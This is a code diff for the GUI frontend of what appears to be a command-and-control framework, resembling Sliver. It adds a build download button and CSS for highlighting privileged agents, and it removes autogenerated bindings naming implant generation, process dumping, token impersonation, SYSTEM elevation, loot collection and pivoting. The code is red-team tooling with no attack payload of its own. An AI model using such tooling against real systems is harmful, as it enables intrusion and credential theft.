openViewPanel('_builds', 'Builds', `<div style="overflow:auto;flex:1" id="builds-list"><div style="padding:10px;color:var(--muted)">Loading...</div></div>`);
|
||||
refreshBuildsList();
|
||||
@@ -979,7 +1227,11 @@ async function refreshBuildsList() {
|
||||
const el = document.getElementById('builds-list'); if (!el) return;
|
||||
const builds = await App().GetBuildHistory().catch(() => []);
|
||||
if (!builds?.length) { el.innerHTML = '<div style="padding:10px;color:var(--muted)">No builds yet.</div>'; return; }
|
||||
el.innerHTML = builds.map(b => `<div style="padding:4px 10px;font-size:12.5px;display:flex;gap:10px;align-items:center;border-bottom:1px solid var(--border)"><span style="flex:1">${esc(b.name)}</span><span style="color:var(--muted)">${esc(b.goos)}/${esc(b.goarch)}</span><span style="color:var(--muted)">${esc(b.format)}</span><span style="color:var(--muted);font-family:var(--mono);max-width:200px;overflow:hidden;text-overflow:ellipsis">${esc((b.c2Urls||[]).join(','))}</span><button class="btn small danger" onclick="if(confirm('Delete build ${esc(b.name)}?'))App().DeleteBuild('${esc(b.name)}').then(refreshBuildsList)">Del</button></div>`).join('');
|
||||
el.innerHTML = builds.map(b => `<div style="padding:4px 10px;font-size:12.5px;display:flex;gap:10px;align-items:center;border-bottom:1px solid var(--border)"><span style="flex:1">${esc(b.name)}</span><span style="color:var(--muted)">${esc(b.goos)}/${esc(b.goarch)}</span><span style="color:var(--muted)">${esc(b.format)}</span><span style="color:var(--muted);font-family:var(--mono);max-width:180px;overflow:hidden;text-overflow:ellipsis">${esc((b.c2Urls||[]).join(','))}</span><button class="btn small" onclick="buildRegen('${esc(b.name)}')">Download</button><button class="btn small danger" onclick="if(confirm('Delete build ${esc(b.name)}?'))App().DeleteBuild('${esc(b.name)}').then(refreshBuildsList)">Del</button></div>`).join('');
|
||||
}
|
||||
async function buildRegen(name) {
|
||||
const r = await App().RegenerateBuild(name).catch(e => ({ error: String(e) }));
|
||||
toast(r.error ? 'err' : 'ok', r.error ? `Regenerate failed: ${r.error}` : `Saved to ${r.path}`);
|
||||
}
|
||||
|
||||
function profilesContent() {
|
||||
|
||||
Vendored
+11
-2
@@ -103,6 +103,9 @@ input::placeholder{color:var(--muted);}
|
||||
.data-table tbody tr.selected{background:var(--panel-hi);}
|
||||
.type-session{color:#5cd68e;font-weight:700;font-size:9.5px;background:rgba(53,196,107,.1);border:1px solid rgba(53,196,107,.28);padding:2px 8px;border-radius:4px;letter-spacing:.5px;}
|
||||
.type-beacon{color:#79b7ec;font-weight:700;font-size:9.5px;background:rgba(77,159,230,.1);border:1px solid rgba(77,159,230,.28);padding:2px 8px;border-radius:4px;letter-spacing:.5px;}
|
||||
.user-priv{color:var(--accent);font-weight:700;}
|
||||
.row-priv td:first-child{box-shadow:inset 3px 0 0 var(--warn);}
|
||||
.data-table tbody tr.row-priv:hover td:first-child{box-shadow:inset 3px 0 0 var(--accent);}
|
||||
.status-alive{color:var(--ok);font-weight:600;}
|
||||
.status-alive::before{content:"●";margin-right:5px;color:var(--ok);}
|
||||
.status-dead{color:var(--accent);font-weight:600;}
|
||||
@@ -113,14 +116,20 @@ input::placeholder{color:var(--muted);}
|
||||
#graph-svg{width:100%;height:100%;display:block;position:relative;z-index:1;}
|
||||
.gedge{stroke:var(--ok);stroke-width:2.5;opacity:.7;stroke-linecap:round;}
|
||||
.gedge.beacon{stroke:var(--info);stroke-dasharray:7 5;}
|
||||
.gedge.priv{stroke:var(--accent);stroke-width:3;opacity:.9;} /* privileged agent (SYSTEM/admin) */
|
||||
.gedge.dead{stroke:var(--muted);stroke-width:1.5;opacity:.3;stroke-dasharray:2 6;}
|
||||
.gnode{transition:filter .12s ease;}
|
||||
.gnode:hover{filter:brightness(1.25);}
|
||||
.gnode.dead{filter:grayscale(1) opacity(.5);}
|
||||
.gnode.dead:hover{filter:grayscale(1) opacity(.7);}
|
||||
.gnode.dead{opacity:.75;} /* dedicated DEAD icon conveys the state */
|
||||
.gnode.dead:hover{opacity:1;}
|
||||
.graph-legend{position:absolute;bottom:0;left:0;right:0;display:flex;gap:12px;padding:6px 12px;background:rgba(11,12,17,.94);border-top:1px solid var(--border);font-size:10.5px;color:var(--text-dim);align-items:center;}
|
||||
.leg-item{display:flex;align-items:center;gap:5px;}
|
||||
.leg-dot{width:9px;height:9px;border-radius:2px;}
|
||||
.leg-line{display:inline-block;width:18px;height:0;border-top:3px solid var(--muted);vertical-align:middle;}
|
||||
.leg-line.priv{border-top-color:var(--accent);}
|
||||
.leg-line.user{border-top-color:var(--ok);}
|
||||
.leg-line.beacon{border-top:3px dashed var(--info);}
|
||||
.leg-line.dead{border-top:3px dashed var(--muted);opacity:.5;}
|
||||
.leg-dot.priv{background:var(--accent);}
|
||||
.leg-dot.user{background:var(--ok);}
|
||||
.leg-dot.dead{background:var(--muted);}
|
||||
|
||||
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 25 KiB |
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
Vendored
-167
@@ -1,167 +0,0 @@
|
||||
// Cynhyrchwyd y ffeil hon yn awtomatig. PEIDIWCH Â MODIWL
|
||||
// This file is automatically generated. DO NOT EDIT
|
||||
import {main} from '../models';
|
||||
|
||||
export function AddPortForward(arg1:string,arg2:number,arg3:string,arg4:number):Promise<void>;
|
||||
|
||||
export function ChangeDir(arg1:string,arg2:string):Promise<string>;
|
||||
|
||||
export function Connect(arg1:string):Promise<main.ConnectResult>;
|
||||
|
||||
export function CopyFile(arg1:string,arg2:string,arg3:string):Promise<number>;
|
||||
|
||||
export function CurrentTokenOwner(arg1:string):Promise<string>;
|
||||
|
||||
export function DeleteBuild(arg1:string):Promise<void>;
|
||||
|
||||
export function DeleteImplantProfile(arg1:string):Promise<void>;
|
||||
|
||||
export function DeleteLoot(arg1:string):Promise<void>;
|
||||
|
||||
export function Disconnect():Promise<void>;
|
||||
|
||||
export function DownloadFile(arg1:string,arg2:string):Promise<main.TransferResult>;
|
||||
|
||||
export function DownloadFileTo(arg1:string,arg2:string,arg3:string):Promise<main.TransferResult>;
|
||||
|
||||
export function DownloadLoot(arg1:string):Promise<main.TransferResult>;
|
||||
|
||||
export function ExecuteAssembly(arg1:string,arg2:string):Promise<main.AssemblyResult>;
|
||||
|
||||
export function ExecuteBeaconCommand(arg1:string,arg2:string):Promise<main.BeaconTaskResult>;
|
||||
|
||||
export function ExecuteBeaconCommandAsync(arg1:string,arg2:string):Promise<main.BeaconTaskResult>;
|
||||
|
||||
export function ExecuteCommand(arg1:string,arg2:string):Promise<main.ExecResult>;
|
||||
|
||||
export function GenerateImplant(arg1:main.GenerateRequest):Promise<main.GenerateResult>;
|
||||
|
||||
export function GetBeaconTaskResult(arg1:string):Promise<main.BeaconTaskView>;
|
||||
|
||||
export function GetBeaconTasks(arg1:string):Promise<Array<main.BeaconTaskView>>;
|
||||
|
||||
export function GetBuildHistory():Promise<Array<main.BuildView>>;
|
||||
|
||||
export function GetEnvVars(arg1:string):Promise<Array<main.EnvVar>>;
|
||||
|
||||
export function GetLoot():Promise<Array<main.LootView>>;
|
||||
|
||||
export function GetNetstat(arg1:string):Promise<Array<main.NetstatEntry>>;
|
||||
|
||||
export function GetPrivs(arg1:string):Promise<main.PrivsResult>;
|
||||
|
||||
export function GetProcessList(arg1:string):Promise<Array<main.ProcessView>>;
|
||||
|
||||
export function GetSystem(arg1:string,arg2:string,arg3:string):Promise<void>;
|
||||
|
||||
export function GetVersion():Promise<main.VersionInfo>;
|
||||
|
||||
export function Ifconfig(arg1:string):Promise<Array<main.NetInterfaceView>>;
|
||||
|
||||
export function ImpersonateUser(arg1:string,arg2:string):Promise<void>;
|
||||
|
||||
export function KillBeacon(arg1:string):Promise<void>;
|
||||
|
||||
export function KillJob(arg1:number):Promise<void>;
|
||||
|
||||
export function KillRemoteProcess(arg1:string,arg2:number):Promise<void>;
|
||||
|
||||
export function KillSession(arg1:string):Promise<void>;
|
||||
|
||||
export function ListBeacons():Promise<Array<main.BeaconView>>;
|
||||
|
||||
export function ListC2Profiles():Promise<Array<main.C2ProfileView>>;
|
||||
|
||||
export function ListFiles(arg1:string,arg2:string):Promise<main.LsResult>;
|
||||
|
||||
export function ListImplantProfiles():Promise<Array<main.ProfileView>>;
|
||||
|
||||
export function ListJobs():Promise<Array<main.JobView>>;
|
||||
|
||||
export function ListOperators():Promise<Array<main.OperatorView>>;
|
||||
|
||||
export function ListPivots(arg1:string):Promise<Array<main.PivotView>>;
|
||||
|
||||
export function ListPortForwards(arg1:string):Promise<Array<main.PortForwardView>>;
|
||||
|
||||
export function ListServices(arg1:string):Promise<Array<main.ServiceView>>;
|
||||
|
||||
export function ListSessions():Promise<Array<main.SessionView>>;
|
||||
|
||||
export function ListenerC2Options():Promise<Array<string>>;
|
||||
|
||||
export function LootFile(arg1:string,arg2:string):Promise<void>;
|
||||
|
||||
export function MakeDirectory(arg1:string,arg2:string):Promise<void>;
|
||||
|
||||
export function MakeToken(arg1:string,arg2:string,arg3:string,arg4:string):Promise<void>;
|
||||
|
||||
export function MoveFile(arg1:string,arg2:string,arg3:string):Promise<void>;
|
||||
|
||||
export function PickConfigFile():Promise<string>;
|
||||
|
||||
export function PrintWorkingDir(arg1:string):Promise<string>;
|
||||
|
||||
export function ProcessDump(arg1:string,arg2:number):Promise<main.TransferResult>;
|
||||
|
||||
export function ReadRemoteFile(arg1:string,arg2:string):Promise<string>;
|
||||
|
||||
export function RegistryCreateKey(arg1:string,arg2:string,arg3:string,arg4:string):Promise<void>;
|
||||
|
||||
export function RegistryDeleteKey(arg1:string,arg2:string,arg3:string,arg4:string):Promise<void>;
|
||||
|
||||
export function RegistryListSubKeys(arg1:string,arg2:string,arg3:string):Promise<Array<string>>;
|
||||
|
||||
export function RegistryListValues(arg1:string,arg2:string,arg3:string):Promise<Array<main.RegistryValue>>;
|
||||
|
||||
export function RegistryReadValue(arg1:string,arg2:string,arg3:string,arg4:string):Promise<string>;
|
||||
|
||||
export function RegistryWriteValue(arg1:string,arg2:string,arg3:string,arg4:string,arg5:string):Promise<void>;
|
||||
|
||||
export function RemoveFile(arg1:string,arg2:string):Promise<void>;
|
||||
|
||||
export function RemovePortForward(arg1:string,arg2:number):Promise<void>;
|
||||
|
||||
export function RemoveService(arg1:string,arg2:string,arg3:string):Promise<void>;
|
||||
|
||||
export function RenameSession(arg1:string,arg2:string):Promise<void>;
|
||||
|
||||
export function RevToSelf(arg1:string):Promise<void>;
|
||||
|
||||
export function RunExecute(arg1:string,arg2:string,arg3:Array<string>):Promise<main.ExecResult>;
|
||||
|
||||
export function SaveImplantProfile(arg1:main.GenerateRequest):Promise<void>;
|
||||
|
||||
export function SetEnvVar(arg1:string,arg2:string,arg3:string):Promise<void>;
|
||||
|
||||
export function Sideload(arg1:string,arg2:string,arg3:string):Promise<main.AssemblyResult>;
|
||||
|
||||
export function SocksProxyStatus(arg1:string):Promise<number>;
|
||||
|
||||
export function StartDNSListener(arg1:main.StartDNSReq):Promise<void>;
|
||||
|
||||
export function StartHTTPListener(arg1:main.StartHTTPReq):Promise<void>;
|
||||
|
||||
export function StartMTLSListener(arg1:main.StartMTLSReq):Promise<void>;
|
||||
|
||||
export function StartPivotListener(arg1:string,arg2:string,arg3:string):Promise<void>;
|
||||
|
||||
export function StartService(arg1:string,arg2:string,arg3:string,arg4:string):Promise<void>;
|
||||
|
||||
export function StartSocksProxy(arg1:string,arg2:number):Promise<void>;
|
||||
|
||||
export function StartWGListener(arg1:main.StartWGReq):Promise<void>;
|
||||
|
||||
export function StopPivotListener(arg1:string,arg2:number):Promise<void>;
|
||||
|
||||
export function StopService(arg1:string,arg2:string,arg3:string):Promise<void>;
|
||||
|
||||
export function StopSocksProxy(arg1:string):Promise<void>;
|
||||
|
||||
export function TakeScreenshot(arg1:string):Promise<string>;
|
||||
|
||||
export function UnsetEnvVar(arg1:string,arg2:string):Promise<void>;
|
||||
|
||||
export function UploadFile(arg1:string,arg2:string):Promise<main.TransferResult>;
|
||||
|
||||
export function UploadFileFrom(arg1:string,arg2:string,arg3:string):Promise<main.TransferResult>;
|
||||
@@ -1,331 +0,0 @@
|
||||
// @ts-check
|
||||
// Cynhyrchwyd y ffeil hon yn awtomatig. PEIDIWCH Â MODIWL
|
||||
// This file is automatically generated. DO NOT EDIT
|
||||
|
||||
export function AddPortForward(arg1, arg2, arg3, arg4) {
|
||||
return window['go']['main']['App']['AddPortForward'](arg1, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
export function ChangeDir(arg1, arg2) {
|
||||
return window['go']['main']['App']['ChangeDir'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function Connect(arg1) {
|
||||
return window['go']['main']['App']['Connect'](arg1);
|
||||
}
|
||||
|
||||
export function CopyFile(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['CopyFile'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function CurrentTokenOwner(arg1) {
|
||||
return window['go']['main']['App']['CurrentTokenOwner'](arg1);
|
||||
}
|
||||
|
||||
export function DeleteBuild(arg1) {
|
||||
return window['go']['main']['App']['DeleteBuild'](arg1);
|
||||
}
|
||||
|
||||
export function DeleteImplantProfile(arg1) {
|
||||
return window['go']['main']['App']['DeleteImplantProfile'](arg1);
|
||||
}
|
||||
|
||||
export function DeleteLoot(arg1) {
|
||||
return window['go']['main']['App']['DeleteLoot'](arg1);
|
||||
}
|
||||
|
||||
export function Disconnect() {
|
||||
return window['go']['main']['App']['Disconnect']();
|
||||
}
|
||||
|
||||
export function DownloadFile(arg1, arg2) {
|
||||
return window['go']['main']['App']['DownloadFile'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function DownloadFileTo(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['DownloadFileTo'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function DownloadLoot(arg1) {
|
||||
return window['go']['main']['App']['DownloadLoot'](arg1);
|
||||
}
|
||||
|
||||
export function ExecuteAssembly(arg1, arg2) {
|
||||
return window['go']['main']['App']['ExecuteAssembly'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function ExecuteBeaconCommand(arg1, arg2) {
|
||||
return window['go']['main']['App']['ExecuteBeaconCommand'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function ExecuteBeaconCommandAsync(arg1, arg2) {
|
||||
return window['go']['main']['App']['ExecuteBeaconCommandAsync'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function ExecuteCommand(arg1, arg2) {
|
||||
return window['go']['main']['App']['ExecuteCommand'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function GenerateImplant(arg1) {
|
||||
return window['go']['main']['App']['GenerateImplant'](arg1);
|
||||
}
|
||||
|
||||
export function GetBeaconTaskResult(arg1) {
|
||||
return window['go']['main']['App']['GetBeaconTaskResult'](arg1);
|
||||
}
|
||||
|
||||
export function GetBeaconTasks(arg1) {
|
||||
return window['go']['main']['App']['GetBeaconTasks'](arg1);
|
||||
}
|
||||
|
||||
export function GetBuildHistory() {
|
||||
return window['go']['main']['App']['GetBuildHistory']();
|
||||
}
|
||||
|
||||
export function GetEnvVars(arg1) {
|
||||
return window['go']['main']['App']['GetEnvVars'](arg1);
|
||||
}
|
||||
|
||||
export function GetLoot() {
|
||||
return window['go']['main']['App']['GetLoot']();
|
||||
}
|
||||
|
||||
export function GetNetstat(arg1) {
|
||||
return window['go']['main']['App']['GetNetstat'](arg1);
|
||||
}
|
||||
|
||||
export function GetPrivs(arg1) {
|
||||
return window['go']['main']['App']['GetPrivs'](arg1);
|
||||
}
|
||||
|
||||
export function GetProcessList(arg1) {
|
||||
return window['go']['main']['App']['GetProcessList'](arg1);
|
||||
}
|
||||
|
||||
export function GetSystem(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['GetSystem'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function GetVersion() {
|
||||
return window['go']['main']['App']['GetVersion']();
|
||||
}
|
||||
|
||||
export function Ifconfig(arg1) {
|
||||
return window['go']['main']['App']['Ifconfig'](arg1);
|
||||
}
|
||||
|
||||
export function ImpersonateUser(arg1, arg2) {
|
||||
return window['go']['main']['App']['ImpersonateUser'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function KillBeacon(arg1) {
|
||||
return window['go']['main']['App']['KillBeacon'](arg1);
|
||||
}
|
||||
|
||||
export function KillJob(arg1) {
|
||||
return window['go']['main']['App']['KillJob'](arg1);
|
||||
}
|
||||
|
||||
export function KillRemoteProcess(arg1, arg2) {
|
||||
return window['go']['main']['App']['KillRemoteProcess'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function KillSession(arg1) {
|
||||
return window['go']['main']['App']['KillSession'](arg1);
|
||||
}
|
||||
|
||||
export function ListBeacons() {
|
||||
return window['go']['main']['App']['ListBeacons']();
|
||||
}
|
||||
|
||||
export function ListC2Profiles() {
|
||||
return window['go']['main']['App']['ListC2Profiles']();
|
||||
}
|
||||
|
||||
export function ListFiles(arg1, arg2) {
|
||||
return window['go']['main']['App']['ListFiles'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function ListImplantProfiles() {
|
||||
return window['go']['main']['App']['ListImplantProfiles']();
|
||||
}
|
||||
|
||||
export function ListJobs() {
|
||||
return window['go']['main']['App']['ListJobs']();
|
||||
}
|
||||
|
||||
export function ListOperators() {
|
||||
return window['go']['main']['App']['ListOperators']();
|
||||
}
|
||||
|
||||
export function ListPivots(arg1) {
|
||||
return window['go']['main']['App']['ListPivots'](arg1);
|
||||
}
|
||||
|
||||
export function ListPortForwards(arg1) {
|
||||
return window['go']['main']['App']['ListPortForwards'](arg1);
|
||||
}
|
||||
|
||||
export function ListServices(arg1) {
|
||||
return window['go']['main']['App']['ListServices'](arg1);
|
||||
}
|
||||
|
||||
export function ListSessions() {
|
||||
return window['go']['main']['App']['ListSessions']();
|
||||
}
|
||||
|
||||
export function ListenerC2Options() {
|
||||
return window['go']['main']['App']['ListenerC2Options']();
|
||||
}
|
||||
|
||||
export function LootFile(arg1, arg2) {
|
||||
return window['go']['main']['App']['LootFile'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function MakeDirectory(arg1, arg2) {
|
||||
return window['go']['main']['App']['MakeDirectory'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function MakeToken(arg1, arg2, arg3, arg4) {
|
||||
return window['go']['main']['App']['MakeToken'](arg1, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
export function MoveFile(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['MoveFile'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function PickConfigFile() {
|
||||
return window['go']['main']['App']['PickConfigFile']();
|
||||
}
|
||||
|
||||
export function PrintWorkingDir(arg1) {
|
||||
return window['go']['main']['App']['PrintWorkingDir'](arg1);
|
||||
}
|
||||
|
||||
export function ProcessDump(arg1, arg2) {
|
||||
return window['go']['main']['App']['ProcessDump'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function ReadRemoteFile(arg1, arg2) {
|
||||
return window['go']['main']['App']['ReadRemoteFile'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function RegistryCreateKey(arg1, arg2, arg3, arg4) {
|
||||
return window['go']['main']['App']['RegistryCreateKey'](arg1, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
export function RegistryDeleteKey(arg1, arg2, arg3, arg4) {
|
||||
return window['go']['main']['App']['RegistryDeleteKey'](arg1, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
export function RegistryListSubKeys(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['RegistryListSubKeys'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function RegistryListValues(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['RegistryListValues'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function RegistryReadValue(arg1, arg2, arg3, arg4) {
|
||||
return window['go']['main']['App']['RegistryReadValue'](arg1, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
export function RegistryWriteValue(arg1, arg2, arg3, arg4, arg5) {
|
||||
return window['go']['main']['App']['RegistryWriteValue'](arg1, arg2, arg3, arg4, arg5);
|
||||
}
|
||||
|
||||
export function RemoveFile(arg1, arg2) {
|
||||
return window['go']['main']['App']['RemoveFile'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function RemovePortForward(arg1, arg2) {
|
||||
return window['go']['main']['App']['RemovePortForward'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function RemoveService(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['RemoveService'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function RenameSession(arg1, arg2) {
|
||||
return window['go']['main']['App']['RenameSession'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function RevToSelf(arg1) {
|
||||
return window['go']['main']['App']['RevToSelf'](arg1);
|
||||
}
|
||||
|
||||
export function RunExecute(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['RunExecute'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function SaveImplantProfile(arg1) {
|
||||
return window['go']['main']['App']['SaveImplantProfile'](arg1);
|
||||
}
|
||||
|
||||
export function SetEnvVar(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['SetEnvVar'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function Sideload(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['Sideload'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function SocksProxyStatus(arg1) {
|
||||
return window['go']['main']['App']['SocksProxyStatus'](arg1);
|
||||
}
|
||||
|
||||
export function StartDNSListener(arg1) {
|
||||
return window['go']['main']['App']['StartDNSListener'](arg1);
|
||||
}
|
||||
|
||||
export function StartHTTPListener(arg1) {
|
||||
return window['go']['main']['App']['StartHTTPListener'](arg1);
|
||||
}
|
||||
|
||||
export function StartMTLSListener(arg1) {
|
||||
return window['go']['main']['App']['StartMTLSListener'](arg1);
|
||||
}
|
||||
|
||||
export function StartPivotListener(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['StartPivotListener'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function StartService(arg1, arg2, arg3, arg4) {
|
||||
return window['go']['main']['App']['StartService'](arg1, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
export function StartSocksProxy(arg1, arg2) {
|
||||
return window['go']['main']['App']['StartSocksProxy'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function StartWGListener(arg1) {
|
||||
return window['go']['main']['App']['StartWGListener'](arg1);
|
||||
}
|
||||
|
||||
export function StopPivotListener(arg1, arg2) {
|
||||
return window['go']['main']['App']['StopPivotListener'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function StopService(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['StopService'](arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
export function StopSocksProxy(arg1) {
|
||||
return window['go']['main']['App']['StopSocksProxy'](arg1);
|
||||
}
|
||||
|
||||
export function TakeScreenshot(arg1) {
|
||||
return window['go']['main']['App']['TakeScreenshot'](arg1);
|
||||
}
|
||||
|
||||
export function UnsetEnvVar(arg1, arg2) {
|
||||
return window['go']['main']['App']['UnsetEnvVar'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function UploadFile(arg1, arg2) {
|
||||
return window['go']['main']['App']['UploadFile'](arg1, arg2);
|
||||
}
|
||||
|
||||
export function UploadFileFrom(arg1, arg2, arg3) {
|
||||
return window['go']['main']['App']['UploadFileFrom'](arg1, arg2, arg3);
|
||||
}
|
||||
@@ -1,655 +0,0 @@
|
||||
export namespace main {
|
||||
|
||||
export class AssemblyResult {
|
||||
output: string;
|
||||
error?: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new AssemblyResult(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.output = source["output"];
|
||||
this.error = source["error"];
|
||||
}
|
||||
}
|
||||
export class BeaconTaskResult {
|
||||
taskId: string;
|
||||
status: string;
|
||||
stdout: string;
|
||||
stderr: string;
|
||||
error?: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new BeaconTaskResult(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.taskId = source["taskId"];
|
||||
this.status = source["status"];
|
||||
this.stdout = source["stdout"];
|
||||
this.stderr = source["stderr"];
|
||||
this.error = source["error"];
|
||||
}
|
||||
}
|
||||
export class BeaconTaskView {
|
||||
id: string;
|
||||
state: string;
|
||||
description: string;
|
||||
createdAt: string;
|
||||
completedAt: string;
|
||||
response: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new BeaconTaskView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.id = source["id"];
|
||||
this.state = source["state"];
|
||||
this.description = source["description"];
|
||||
this.createdAt = source["createdAt"];
|
||||
this.completedAt = source["completedAt"];
|
||||
this.response = source["response"];
|
||||
}
|
||||
}
|
||||
export class BeaconView {
|
||||
id: string;
|
||||
name: string;
|
||||
hostname: string;
|
||||
username: string;
|
||||
os: string;
|
||||
arch: string;
|
||||
transport: string;
|
||||
remoteAddress: string;
|
||||
pid: number;
|
||||
interval: number;
|
||||
jitter: number;
|
||||
lastCheckin: string;
|
||||
nextCheckin: string;
|
||||
isDead: boolean;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new BeaconView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.id = source["id"];
|
||||
this.name = source["name"];
|
||||
this.hostname = source["hostname"];
|
||||
this.username = source["username"];
|
||||
this.os = source["os"];
|
||||
this.arch = source["arch"];
|
||||
this.transport = source["transport"];
|
||||
this.remoteAddress = source["remoteAddress"];
|
||||
this.pid = source["pid"];
|
||||
this.interval = source["interval"];
|
||||
this.jitter = source["jitter"];
|
||||
this.lastCheckin = source["lastCheckin"];
|
||||
this.nextCheckin = source["nextCheckin"];
|
||||
this.isDead = source["isDead"];
|
||||
}
|
||||
}
|
||||
export class BuildView {
|
||||
name: string;
|
||||
goos: string;
|
||||
goarch: string;
|
||||
format: string;
|
||||
debug: boolean;
|
||||
c2Urls: string[];
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new BuildView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.name = source["name"];
|
||||
this.goos = source["goos"];
|
||||
this.goarch = source["goarch"];
|
||||
this.format = source["format"];
|
||||
this.debug = source["debug"];
|
||||
this.c2Urls = source["c2Urls"];
|
||||
}
|
||||
}
|
||||
export class C2ProfileView {
|
||||
name: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new C2ProfileView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.name = source["name"];
|
||||
}
|
||||
}
|
||||
export class ConnectResult {
|
||||
connected: boolean;
|
||||
operatorName: string;
|
||||
teamserver: string;
|
||||
error?: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new ConnectResult(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.connected = source["connected"];
|
||||
this.operatorName = source["operatorName"];
|
||||
this.teamserver = source["teamserver"];
|
||||
this.error = source["error"];
|
||||
}
|
||||
}
|
||||
export class EnvVar {
|
||||
key: string;
|
||||
value: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new EnvVar(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.key = source["key"];
|
||||
this.value = source["value"];
|
||||
}
|
||||
}
|
||||
export class ExecResult {
|
||||
stdout: string;
|
||||
stderr: string;
|
||||
status: number;
|
||||
error?: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new ExecResult(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.stdout = source["stdout"];
|
||||
this.stderr = source["stderr"];
|
||||
this.status = source["status"];
|
||||
this.error = source["error"];
|
||||
}
|
||||
}
|
||||
export class FileInfo {
|
||||
name: string;
|
||||
isDir: boolean;
|
||||
size: number;
|
||||
mode: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new FileInfo(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.name = source["name"];
|
||||
this.isDir = source["isDir"];
|
||||
this.size = source["size"];
|
||||
this.mode = source["mode"];
|
||||
}
|
||||
}
|
||||
export class GenerateRequest {
|
||||
name: string;
|
||||
goos: string;
|
||||
goarch: string;
|
||||
format: string;
|
||||
c2Url: string;
|
||||
debug: boolean;
|
||||
beacon: boolean;
|
||||
interval: number;
|
||||
jitter: number;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new GenerateRequest(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.name = source["name"];
|
||||
this.goos = source["goos"];
|
||||
this.goarch = source["goarch"];
|
||||
this.format = source["format"];
|
||||
this.c2Url = source["c2Url"];
|
||||
this.debug = source["debug"];
|
||||
this.beacon = source["beacon"];
|
||||
this.interval = source["interval"];
|
||||
this.jitter = source["jitter"];
|
||||
}
|
||||
}
|
||||
